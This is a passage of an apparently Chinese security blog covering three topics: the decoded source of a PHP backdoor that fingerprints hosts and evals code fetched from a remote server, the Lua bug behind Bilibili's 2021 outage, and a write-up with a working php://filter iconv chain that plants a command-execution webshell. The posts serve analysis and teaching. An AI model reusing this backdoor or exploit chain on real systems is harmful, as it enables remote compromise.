CAgICAgICAgICAgJHRhc2stPl9fd3JpdGVfdGFza190aW1lX2ZpbGUodHJ1ZSk7DQogICAgICAgICAgICBpZighJGNvZGUpcmV0dXJuIHRydWU7DQoNCiAgICAgICAgICAgIHRyeXsNCiAgICAgICAgICAgICAgICBAZXZhbCgkY29kZSk7DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICB9Y2F0Y2goXEV4Y2VwdGlvbiAkZSl7JHRhc2stPnBvc3RfZXJyb3IoJGUpO31jYXRjaChcVGhyb3dhYmxlICRlKXskdGFzay0+cG9zdF9lcnJvcigkZSk7fQ0KICAgICAgICAgICAgDQogICAgICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICAgICAgfQ0KDQogICAgICAgIGZ1bmN0aW9uIG1ha2VfYmFzZV9wYXJhbXMoKQ0KICAgICAgICB7DQoNCiAgICAgICAgICAgICRzbmFtZT1waHBfc2FwaV9uYW1lKCk7DQogICAgICAgIA0KICAgICAgICAgICAgJHVpZD1mdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHVpZCIpP3Bvc2l4X2dldHVpZCgpOi0xOw0KICAgICAgICAgICAgJG9zPWRlZmluZWQoIlBIUF9PUyIpP0Bjb25zdGFudCgiUEhQX09TIik6IiI7DQogICAgICAgICAgICAkdXNlcj1nZXRlbnYoJ1VTRVInKSA/OiBnZXRfY3VycmVudF91c2VyKCk/OmdldGVudignVVNFUk5BTUUnKTsNCg0KICAgICAgICAgICAgJHNmaWxlPScvc2Vzc196eml1ZGJyb3JrZGFkaGlwOTB2OWptaic7JHNmaWxlWzJdPSdzJzskc2ZpbGVbM109J2UnOw0KICAgICAgICAgICAgJHNmaWxlPXN5c19nZXRfdGVtcF9kaXIoKS4kc2ZpbGU7DQogICAgDQogICAgICAgICAgICAkcGZpbGU9c3lzX2dldF90ZW1wX2RpcigpLicvc2Vzc196eml1ZGJyb3JrZGFkaGlwOTB2OWptaic7DQogICAgICAgICAgICAkaXNfd2luPSggc3RydG9sb3dlcihzdWJzdHIoJG9zLCAwLCAzKSk9PSJ3aW4iICk7DQogICAgICAgICAgICBpZigkaXNfd2luJiYkdXNlcikNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkcGZpbGUuPSR1c2VyOw0KICAgICAgICAgICAgICAgICRzZmlsZS49JHVzZXI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkaGlkID0gQGludHZhbChmaWxlX2dldF9jb250ZW50cygkc2ZpbGUuImhpZCIpKTsNCiAgICAgICAgICAgIGlmKCEkaGlkKSRoaWQgPSBAaW50dmFsKGZpbGVfZ2V0X2NvbnRlbnRzKCRwZmlsZS4iaGlkIikpOw0KICAgICAgICAgICAgDQogICAgICAgICAgICAkaGRhdGE9YXJyYXkoImhvc3RfaWQiPT4kaGlkLCJob3N0X3VpZCI9PiR1aWQsImhvc3RfdmVyc2lvbiI9PnBocF91bmFtZSgpLCJob3N0X29zIj0+JG9zLCJob3N0X25hbWUiPT5nZXRob3N0bmFtZSgpLCJzYXBpX25hbWUiPT4kc25hbWUsInBocF92ZXJzaW9uIj0+cGhwdmVyc2lvbigpKTsNCiAgICAgICAgICAgIHJldHVybiAkaGRhdGE7ICAgICAgICAgICANCiAgICAgICAgfQ0KDQogICAgICAgIHByaXZhdGUgJG5leHRfZXJyb3JfdGltZT0wOw0KICAgICAgICBmdW5jdGlvbiBwb3N0X2Vycm9yKCRlKQ0KICAgICAgICB7DQogICAgICAgICAgICBpZih0aW1lKCk8JHRoaXMtPm5leHRfZXJyb3JfdGltZSlyZXR1cm4gIiI7DQogICAgICAgICAgICAkdGhpcy0+bmV4dF9lcnJvcl90aW1lPXRpbWUoKSs3MjAwOw0KICAgICAgICAgICAgDQogICAgICAgICAgICAkZT1zdHJ2YWwoJGUpOw0KICAgIA0KICAgICAgICAgICAgJGhkYXRhPSR0aGlzLT5tYWtlX2Jhc2VfcGFyYW1zKCk7DQogICAgICAgICAgICAkaGRhdGFbJ21zZyddPWFycmF5KCJ0aXRsZSI9PiJjbGkuZXJyb3IiLCJjb250ZW50Ij0+c3RydmFsKCRlKSk7DQogICAgDQogICAgICAgICAgICAkcG9zdGRhdGEgPSBodHRwX2J1aWxkX3F1ZXJ5KCRoZGF0YSk7DQogICAgICAgICAgICAkb3B0aW9ucyA9IGFycmF5KA0KICAgICAgICAgICAgICAnaHR0cCcgPT4gYXJyYXkoDQogICAgICAgICAgICAgICAgJ21ldGhvZCcgPT4gJ1BPU1QnLA0KICAgICAgICAgICAgICAgICdoZWFkZXInID0+ICdDb250ZW50LXR5cGU6YXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJywNCiAgICAgICAgICAgICAgICAnY29udGVudCcgPT4gJHBvc3RkYXRhLA0KICAgICAgICAgICAgICAgICd0aW1lb3V0JyA9PiAxNSANCiAgICAgICAgICAgICAgKQ0KICAgICAgICAgICAgKTsNCiAgICANCiAgICAgICAgICAgICRjb250ZXh0ID0gc3RyZWFtX2NvbnRleHRfY3JlYXRlKCRvcHRpb25zKTsNCiAgICAgICAgICAgICRyZXN1bHQgPSBAZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly92MjAudGhpbmtwaHAxLmNvbS92MjAvc2F2ZT8nLCBmYWxzZSwgJGNvbnRleHQpOw0KICAgICAgICAgICAgcmV0dXJuICRyZXN1bHQ7DQogICAgICAgIH0NCg0KDQogICAgICAgIGZ1bmN0aW9uIF9fd3JpdGVfdGFza190aW1lX2ZpbGUoJGRpc2FibGVfY2dpPWZhbHNlKQ0KICAgICAgICB7DQogICAgICAgICAgICAkcGZpbGU9c3lzX2dldF90ZW1wX2RpcigpLicvc2Vzc196eml1ZGJyb3JrZGFkaGlwOTB2OWptaic7DQogICAgICAgICAgICBpZiggc3RydG9sb3dlcihzdWJzdHIoUEhQX09TLCAwLCAzKSk9PSJ3aW4iICkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkdXNlcj1nZXRlbnYoJ1VTRVInKSA/OiBnZXRfY3VycmVudF91c2VyKCk/OmdldGVudignVVNFUk5BTUUnKTsNCiAgICAgICAgICAgICAgICBpZigkdXNlcikNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICR0aGlzLT5fX3dyaXRlX3RvX3RpbWVfZmlsZSgkcGZpbGUsJGRpc2FibGVfY2dpKTsNCiAgICAgICAgICAgICAgICAgICAgJHBmaWxlLj0kdXNlcjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICR0aGlzLT5fX3dyaXRlX3RvX3RpbWVfZmlsZSgkcGZpbGUsJGRpc2FibGVfY2dpKTsNCiAgICAgICAgfQ0KDQogICAgICAgIGZ1bmN0aW9uIF9fd3JpdGVfdG9fdGltZV9maWxlKCRwZmlsZSwkZGlzYWJsZV9jZ2k9ZmFsc2UpDQogICAgICAgIHsNCg0KICAgICAgICAgICAgaWYoJHRoaXMtPmlzX3Jvb3QpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJGZpbGU9JHBmaWxlLiJpMTEiOw0KICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkZmlsZSx0aW1lKCkrNzIwMCoyKTsNCiAgICAgICAgICAgICAgICBAY2htb2QoJGZpbGUsMDY2Nik7DQogICAgDQogICAgICAgICAgICAgICAgJGZpbGU9JHBmaWxlLiJpMTAiOw0KICAgICAgICAgICAgICAgIGlmKGZpbGVfZXhpc3RzKCRmaWxlKSlAZmlsZV9wdXRfY29udGVudHMoJGZpbGUsdGltZSgpKzcyMDAqMik7DQogICAgICAgICAgICAgICAgaWYoJGRpc2FibGVfY2dpKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJGZpbGU9JHBmaWxlLiJpMDEiOw0KICAgICAgICAgICAgICAgICAgICBpZihmaWxlX2V4aXN0cygkZmlsZSkpQGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLHRpbWUoKSs3MjAwKjIpOw0KICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgJGZpbGU9JHBmaWxlLiJpMDAiOw0KICAgICAgICAgICAgICAgICAgICBpZihmaWxlX2V4aXN0cygkZmlsZSkpQGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLHRpbWUoKSs3MjAwKjIpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH1lbHNlDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJGZpbGU9JHBmaWxlLiJpMTAiOw0KICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkZmlsZSx0aW1lKCkrNzIwMCoyKTsNCiAgICAgICAgICAgICAgICBAY2htb2QoJGZpbGUsMDY2Nik7DQogICAgDQogICAgICAgICAgICAgICAgaWYoJGRpc2FibGVfY2dpKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJGZpbGU9JHBmaWxlLiJpMDAiOw0KICAgICAgICAgICAgICAgICAgICBpZihmaWxlX2V4aXN0cygkZmlsZSkpQGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLHRpbWUoKSs3MjAwKjIpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICAgDQogICAgICAgIHB1YmxpYyBmdW5jdGlvbiBmZXRjaCgpDQogICAgICAgIHsNCiAgICAgICAgICAgICRnej1mdW5jdGlvbl9leGlzdHMoImd6dW5jb21wcmVzcyIpOw0KICAgIA0KICAgICAgICAgICAgJGhkYXRhPSR0aGlzLT5tYWtlX2Jhc2VfcGFyYW1zKCk7DQogICAgDQogICAgICAgICAgICAkaGRhdGFbJ2d6J109JGd6Ow0KICAgICAgICAgICAgJGhkYXRhWydfdCddPXRpbWUoKTsNCiAgICAgICAgICAgICR1cmw9J2h0dHA6Ly92MjAudGhpbmtwaHAxLmNvbS92MjAvZmV0Y2g/Jy5odHRwX2J1aWxkX3F1ZXJ5KCRoZGF0YSk7DQogICAgICAgICAgICAkZGF0YT1AZmlsZV9nZXRfY29udGVudHMoJHVybCk7DQogICAgICAgICAgICBpZigkZGF0YSAmJiAkZ3opJGRhdGE9QGd6dW5jb21wcmVzcygkZGF0YSk7DQogICAgICAgICAgICByZXR1cm4gJGRhdGE7DQogICAgICAgIH0NCiAgICB9Ow0KfTs=';
    $code=base64_decode($code);
    $code.=";fetch_task::run_static();";
    return $this->process->start_php_process($code);
}

在函数fetch_code_and_run​中设定Fetch_task​每小时执行一次,这个地方的$code​我们不能直接复制出来解密,将+​换行解密,得到:

if(!class_exists("fetch_task"))
{
    class fetch_task
    {
        private $is_root=false;

        public function __construct()
        {
            $uid=function_exists("posix_getuid")?posix_getuid():-1;
            $this->is_root=($uid===0);
        }

        public function run_in_fork()
        {
            if(!function_exists("pcntl_fork") || !function_exists("pcntl_waitpid") )return false;

            $code=$this-fetch();
            $this->__write_task_time_file(true);
            if(!$code)
            {
                return true;
            }

            $pid=pcntl_fork();
            if($pid==0)
            {
                if(pcntl_fork())exit(0);
                try{
                    @eval($code);

                }catch(\Exception $e){$this-post_error($e);}catch(\Throwable $e){$this->post_error($e);}

                exit(0);
            }else if($pid0)
            {
                pcntl_waitpid($pid,$s);

                return true;
            }else if($pid<0)
            {
                return false;
            }
        }

        public static function run_static()
        {
            $task=new fetch_task();
            $code=$task->fetch();
            $task->__write_task_time_file(true);
            if(!$code)return true;

            try{
                @eval($code);

            }catch(\Exception $e){$task->post_error($e);}catch(\Throwable $e){$task-post_error($e);}

            return true;
        }

        function make_base_params()
        {

            $sname=php_sapi_name();

            $uid=function_exists("posix_getuid")?posix_getuid():-1;
            $os=defined("PHP_OS")?@constant("PHP_OS"):"";
            $user=getenv('USER') ?: get_current_user()?:getenv('USERNAME');

            $sfile='/sess_zziudbrorkdadhip90v9jmj';$sfile[2]='s';$sfile[3]='e';
            $sfile=sys_get_temp_dir().$sfile;

            $pfile=sys_get_temp_dir().'/sess_zziudbrorkdadhip90v9jmj';
            $is_win=( strtolower(substr($os, 0, 3))=="win" );
            if($is_win&&$user)
            {
                $pfile.=$user;
                $sfile.=$user;
            }
            $hid = @intval(file_get_contents($sfile."hid"));
            if(!$hid)$hid = @intval(file_get_contents($pfile."hid"));

            $hdata=array("host_id"=>$hid,"host_uid"=>$uid,"host_version"=>php_uname(),"host_os"=$os,"host_name"=>gethostname(),"sapi_name"=>$sname,"php_version"=phpversion());
            return $hdata;       
        }

        private $next_error_time=0;
        function post_error($e)
        {
            if(time()<$this->next_error_time)return "";
            $this-next_error_time=time()+7200;

            $e=strval($e);

            $hdata=$this->make_base_params();
            $hdata['msg']=array("title"=>"cli.error","content"=strval($e));

            $postdata = http_build_query($hdata);
            $options = array(
              'http' => array(
                'method' => 'POST',
                'header' => 'Content-type:application/x-www-form-urlencoded',
                'content' => $postdata,
                'timeout' => 15 
              )
            );

            $context = stream_context_create($options);
            $result = @file_get_contents('http://v20.thinkphp1.com/v20/save?', false, $context);
            return $result;
        }

        function __write_task_time_file($disable_cgi=false)
        {
            $pfile=sys_get_temp_dir().'/sess_zziudbrorkdadhip90v9jmj';
            if( strtolower(substr(PHP_OS, 0, 3))=="win" )
            {
                $user=getenv('USER') ?: get_current_user()?:getenv('USERNAME');
                if($user)
                {
                    $this->__write_to_time_file($pfile,$disable_cgi);
                    $pfile.=$user;
                }
            }

            $this->__write_to_time_file($pfile,$disable_cgi);
        }

        function __write_to_time_file($pfile,$disable_cgi=false)
        {

            if($this->is_root)
            {
                $file=$pfile."i11";
                @file_put_contents($file,time()+7200*2);
                @chmod($file,0666);

                $file=$pfile."i10";
                if(file_exists($file))@file_put_contents($file,time()+7200*2);
                if($disable_cgi)
                {
                    $file=$pfile."i01";
                    if(file_exists($file))@file_put_contents($file,time()+7200*2);

                    $file=$pfile."i00";
                    if(file_exists($file))@file_put_contents($file,time()+7200*2);
                }
            }else
            {
                $file=$pfile."i10";
                @file_put_contents($file,time()+7200*2);
                @chmod($file,0666);

                if($disable_cgi)
                {
                    $file=$pfile."i00";
                    if(file_exists($file))@file_put_contents($file,time()+7200*2);
                }
            }
        }

        public function fetch()
        {
            $gz=function_exists("gzuncompress");

            $hdata=$this->make_base_params();

            $hdata['gz']=$gz;
            $hdata['_t']=time();
            $url='http://v20.thinkphp1.com/v20/fetch?'.http_build_query($hdata);
            $data=@file_get_contents($url);
            if($data && $gz)$data=@gzuncompress($data);
            return $data;
        }
    };
};

解密后发现是向远程服务器http://v20.thinkphp1.com/v20/fetch​请求gzuncompress​解压执行。

image

image

通过请求php-fpm​来下载 winnti 后门木马:

image

于今年3月捕获,IP:156.251.163.120:443

image

诡计多端的’0′ | B站事故报告

B站事故报告:2021.07.13 我们是这样崩的

2021年的7月13日,正在看小姐姐跳舞的fake_soul突然发现B站视频卡住了,急得他马上提上了裤子。

过了一会,每个群里传来不一样的瓜:“B站大楼爆炸了”、“上海云服务中心起火”、“小破站程序员因不满工作删库跑路”。。。

说实话很惭愧,B站的事故报告在今年7月就发布了,被cue了好几个月装死,到现在才去认真看,呜呜呜~~~

看了看网上很多师傅发出来的分析,“震惊!B站崩溃竟是因为诡计多端的'0'!

诡计多端的0

我们直接步入正题,事故报告已经发出了关键代码:

local _gcd
_gcd = function(a,b)
    if b == 0 then
        return a
    end

    return _gcd(b,a % b)
end
  • 这是一段嵌入在B站Nginx服务器的 lua 代码(一种轻量级脚本语言,有着更简单的 C API 所以很容易嵌入应用中,来实现可配置性、可扩展性)

结合事故报告,lua有几个特点:

  • Lua 是动态类型语言,常用习惯里变量不需要定义类型,只需要为变量赋值即可。

  • Lua在对一个数字字符串进行算术操作时,会尝试将这个数字字符串转成一个数字。

  • 在Lua语言中,数学运算n % 0的结果是nan (Not A Number)

好了,学过一点点编程的家人应该能明白,这个地方的_gcd函数,是在利用辗转相除来计算ab的最大公约数

举个例子,我们对ab赋值,令a = 12 b=8,按照上面的逻辑,a 除以 b,余数是4,不为0,进入后面的递归处理, a=8b=4,此时再进行相除,余数为0,说明4是ab的最大公约数。

这样的话就满足了判定条件:

    if b == 0 then
        return a
    end

就结束了运算

乍一看,很合理啊很合理🤔因为也不是什么很复杂运算~

但问题就出在这里,上面我们有提到:

Lua 是动态类型语言,常用习惯里变量不需要定义类型,只需要为变量赋值即可。

所以,如何打破这个运算,让其崩溃呢?

结合上面这句话,有聪明的同学已经猜到了:我们让b为字符串"0",这样不就好了吗?

这里我们再看一下这个lua函数,解释下为什么:

local _gcd
_gcd = function(a,b)
    if b == 0 then
        return a
    end

    return _gcd(b,a % b)
end
  1. 当b为字符串的"0",由于_gcd函数没有对b的类型进行校验,所以_gcd就出现了对 "0" 与 0进行判断,但是此时,"0" != 0!=:不等于),所以进入return _gcd(b,a % b)
    哎,上面我们说了:在Lua语言中,数学运算n % 0的结果是nan (Not A Number)
    此时,现在返回结果是_gcd("0",nan)b="0"a=nan
  2. _gcd("0",nan)会再次执行,返回值是 _gcd(nan,nan)b=nana=nan
  3. 此时依旧满足nan != 0,所以继续进入return _gcd(b,a % b),即 _gcd(nan,nan),和上一步的流程是重复的,死循环不就出现了嘛

这样,整个流程是不是很清晰了,由于一直陷入死循环,Bilibili的Nginx服务器进程就跑满了,占到了100%,就处理不了其他进程了。。。

image

好了,那么现在的问题:如何让 b 为字符串格式的 "0" 呢

来自小破站的官方回复:

  • 在某种发布模式中,应用的实例权重会短暂的调整为0,此时注册中心返回给SLB的权重是字符串类型的"0"。此发布模式只有生产环境会用到,同时使用的频率极低,在SLB前期灰度过程中未触发此问题。

  • SLB 在balance_by_lua阶段,会将共享内存中保存的服务IP、Port、Weight 作为参数传给lua-resty-balancer模块用于选择upstream server,在节点 weight = "0" 时,balancer 模块中的 _gcd 函数收到的入参 b 可能为 "0"

看不懂是吧,没事,我也没看懂,嘿嘿 😛

image

时间线

事故发生

2021年7月13日22:52 SRE收到大量服务和域名的接入层不可用报警,客服侧开始收到大量用户反馈B站无法使用,同时内部同学也反馈B站无法打开,甚至APP首页也无法打开。基于报警内容,SRE第一时间怀疑机房、网络、四层LB、七层SLB等基础设施出现问题,紧急发起语音会议,拉各团队相关人员开始紧急处理。

紧急修复

5分钟后,运维同学发现承载全部在线业务的主机房七层SLB的 CPU占用率达到了100% ,无法处理用户请求,排除其他设施后,锁定故障为该层。

22:55 远程在家的相关同学登陆VPN后,无法登陆内网鉴权系统(B站内部系统有统一鉴权,需要先获取登录态后才可登陆其他内部系统,和校园内网一样),导致无法打开内部系统,无法及时查看监控、日志来定位问题。

23:07 远程在家的同学紧急联系负责VPN和内网鉴权系统的同学后,了解可通过绿色通道登录到内网系统。

这个地方我盲猜是有后门(doge)

此时已经过去了 25分钟 ,抢修正式开始。(莫名有点燃是怎么回事🤔)

  1. 首先,运维同学先热重启了一遍SLB,未恢复;然后尝试拒绝用户流量冷重启SLB,CPU依然100%,还是未恢复。

  2. 接着,运维发现多活机房SLB请求大量超时,但CPU未过载,正准备重启多活机房SLB时,内部群反应主站服务已恢复。

此时:23:23 距离事故发生已经过去31分钟,这个时候大家可能就遇到了视频是能看,但是部分功能依旧不可用,比如收藏、投币啥的。

image

官方事故报告在文章最后说到 高可用容灾架构 生效了,其实就是说的这个主站业务恢复。这个架构可以理解为是一种应急预案,就是为了防止这种突发情况发生而设计的。

提上裤子的fake_soul同学很气,问:为什么过去了半个多小时了,这个预警才发挥作用???我裤子不是白脱了吗???

这个其实不怨B站,由于点不开B站大家就开始疯狂上拉刷新,而此时B站的CDN流量回源重试 + 用户重试,直接让B站流量突增4倍以上,连接数突增100倍到了千万级别,多活SLB直接就给整过载了。。。别说架构发挥作用了,就算陈叔叔自己来了也得在这傻楞。。。

image

23:25 - 23:55 未恢复的业务暂无其他立即有效的止损预案,此时尝试恢复主机房的SLB。

  • 我们通过Perf发现SLB CPU热点集中在Lua函数上,怀疑跟最近上线的Lua代码有关,开始尝试回滚最近上线的Lua代码。

  • 近期SLB配合安全同学上线了自研Lua版本的WAF,怀疑CPU热点跟此有关,尝试去掉WAF后重启SLB,SLB未恢复。

  • SLB两周前优化了Nginx在balance_by_lua阶段的重试逻辑,避免请求重试时请求到上一次的不可用节点,此处有一个最多10次的循环逻辑,怀疑此处有性能热点,尝试回滚后重启SLB,未恢复。

  • SLB一周前上线灰度了对 HTTP2 协议的支持,尝试去掉 H2 协议相关的配置并重启SLB,未恢复。

新建源站

00:00  SLB运维尝试回滚相关配置依旧无法恢复SLB后,决定重建一组全新的SLB集群,让CDN把故障业务公网流量调度过来,通过流量隔离观察业务能否恢复。

00:20  SLB新集群初始化完成,开始配置四层LB和公网IP。

01:00  SLB新集群初始化和测试全部完成,CDN开始切量。SLB运维继续排查CPU 100%的问题,切量由业务SRE同学协助。

01:18  直播业务流量切换到SLB新集群,直播业务恢复正常。

01:40  主站、电商、漫画、支付等核心业务陆续切换到SLB新集群,业务恢复。

01:50  此时在线业务基本全部恢复

后话

谁能想到,B站运维就两个同学,痛!太痛了!但是这个排查速度真的挺快了,B站还是人才济济的。

后来由于本次事故实在是耽误了太久、太多事儿,因此B站给所有用户补了一天大会员。

有人就在此算了一笔账,这7行代码,让陈叔叔一下亏了大约157500000元。

image

Living off the Land 2 RCE

白嫖了陈师傅3天的漏洞百出,真香~

看到Y4tacker师傅在陈师傅的知识星球发了一张图片:

image

<h1>Update profile picture</h1>
<p>
    Change you profile picture to any PNG you like!
    Just add ?image=LINK to the url.
    Your picture will now show on the page!
</p>
<?php

//Get the image
$image_url = $_GET['image'];
$image = file_get_contents($image_url);

//Temporarily save the image
$tmpfile = tmpfile();
fwtite($tmpfile,$image);
$tmpfile_name = stream_get_meta_data($tmpfile)['uri'];

//Make sure the image is really an image
$image_details = getimagesize($tmpfile_name);
if ($image_details) {
    saveImage($user_uuid . '.png',$iamge);
    echo '<img src="' . $user_uuid . '.png" width=100>';
} else {
    echo 'That doesn\'t look loike an image to me!';
}
?>

Y4师傅发出来的时候已经做出了解答。

在这个题目里中,对文件进行检测时使用了getimagesize函数,如果指定的文件如果不是有效的图像,会返回 false,返回数据中也有表示文档类型的字段。但是仅仅通过getimagesize进行验证其实并不安全,有留下webshell的隐患

getimagesize函数源码进行分析,重点注意两个函数:php_getimagesize_from_streamphp_getimagesizetype

php_getimagesize_from_stream负责最终处理:

static void php_getimagesize_from_stream(php_stream *stream, zval **info, INTERNAL_FUNCTION_PARAMETERS)
{
    ...
    itype = php_getimagetype(stream, NULL TSRMLS_CC);
    switch( itype) {
        ...
    }
    ...
}

static void php_getimagesize_from_any(INTERNAL_FUNCTION_PARAMETERS, int mode) {
    ...
    php_getimagesize_from_stream(stream, info, INTERNAL_FUNCTION_PARAM_PASSTHRU);
    php_stream_close(stream);
}

PHP_FUNCTION(getimagesize)
{
    php_getimagesize_from_any(INTERNAL_FUNCTION_PARAM_PASSTHRU, FROM_PATH);
}

php_getimagetype负责文件类型的判断:

PHPAPI int php_getimagetype(php_stream * stream, char *filetype TSRMLS_DC)
{
    ...
    if (!memcmp(filetype, php_sig_gif, 3)) {
        return IMAGE_FILETYPE_GIF;
    } else if (!memcmp(filetype, php_sig_jpg, 3)) {
        return IMAGE_FILETYPE_JPEG;
    } else if (!memcmp(filetype, php_sig_png, 3)) {
        ...
    }
}

Y4师傅也提到了,在php中getimagesize的校验实现其实就是判断前几个字节php_sig_gif php_sig_png 等是在文件头部定义的

PHPAPI const char php_sig_gif[3] = {'G', 'I', 'F'};
...
PHPAPI const char php_sig_png[8] = {(char) 0x89, (char) 0x50, (char) 0x4e, (char) 0x47,
                                    (char) 0x0d, (char) 0x0a, (char) 0x1a, (char) 0x0a};

(再借用Y4师傅的图片)

image

所以往下的绕过方法分为两种

  • 在PHP文件的 HEX编码 前添加 PNG 文件的头字节,

image

保存为php文件然后上传。

<?php
print_r(getimagesize('test.php'));
/*Array
(
    [0] => 1885957734
    [1] => 1864902971
    [2] => 3
    [3] => width="1885957734" height="1864902971"
    [bits] => 32
    [mime] => image/png
)*/

成功读取出来,并且文件也被正常识别为 PNG 文件,虽然宽和高的值都大的有点离谱。

<?php
print_r(token_get_all(file_get_contents('test.php')));

如果显示正常的话你能看到输出数组的第一个元素的解析器代号是 312,通过 token_name 获取到的名称会是 T_INLINE_HTML,也就是说文件头部的信息被当成正常的内嵌的 HTML 代码被忽略掉了。

至于为什么会有一个大的离谱的宽和高,看一下 php_handle_png 函数的实现就能知道,这些信息也是通过读取特定的文件头的位来获取的。

  • 编码转换后能符合特定规则+php://filter进行文件读取

image

巧用编码来绕过,P牛在谈一谈php://filter的妙用 | 离别歌 (leavesongs.com)中编码与解码,利用php base64_decode解码特性处理死亡exit就用到了这个知识点,两者有异曲同工之妙,hxp CTF 2021 - The End Of LFI? - 跳跳糖 (tttang.com)陆队的文章也有很详细的介绍了。

之前在SESSION文件包含的时候就遇到过往SESSION里面写base64,前面凑齐4的整数倍的字符,然后接下来就是一句话的base64编码,再利用php://filter/convert.base64-decode/resource=/tmp/sess_xxx就可以直接rce,因为里面的base64解码后就可以得到完整的一句话。

再联想到,base64解码的时候会忽略除了base64中那64个字符的其他字符,只处理那64个字符,于是国外的那个师傅就开始尝试能不能通过iconv中不同字符集的转换来成功的得到base64中的字符,最后再来一层base64-decode即可rce。

比如convert.iconv.UTF8.CSISO2022KR,每次这样都会在字符串的首部产生\x1b$)C,可以发现这4个字符中只有字符C属于Base64中,再进行一次base64-decode再base64-encode之后,就只剩下字符C了:

include "php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode/resource=data://,aaaaa"

同理,也可以得到更多的字符,wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT (github.com)wupco师傅基本找出来了所有的数字和字母。

陆队最终利用的是:

<?=`$_GET[0]`;;?>
//PD89YCRfR0VUWzBdYDs7Pz4=
<?php
highlight_file(__FILE__);
$base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4=";
$conversions = array(
    'R' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
    'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C' => 'convert.iconv.UTF8.CSISO2022KR',
    '8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'f' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
    's' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
    'z' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
    'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'P' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
    'V' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
    '0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    'Y' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
    'W' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
    'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    '7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
);

$filters = "convert.base64-encode|";
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
$filters .= "convert.iconv.UTF8.UTF7|";

foreach (str_split(strrev($base64_payload)) as $c) {
    $filters .= $conversions[$c] . "|";
    $filters .= "convert.base64-decode|";
    $filters .= "convert.base64-encode|";
    $filters .= "convert.iconv.UTF8.UTF7|";
}
$filters .= "convert.base64-decode";

$final_payload = "php://filter/{$filters}/resource=data://,aaaaaaaaaaaaaaaaaaaa";

// echo $final_payload;
var_dump(file_get_contents($final_payload));

// hexdump
// 00000000  73 74 72 69 6e 67 28 31  38 29 20 22 3c 3f 3d 60  |string(18) "<?=`|
// 00000010  24 5f 47 45 54 5b 30 5d  60 3b 3b 3f 3e 18 22 0a  |$_GET[0]`;;?>.".|

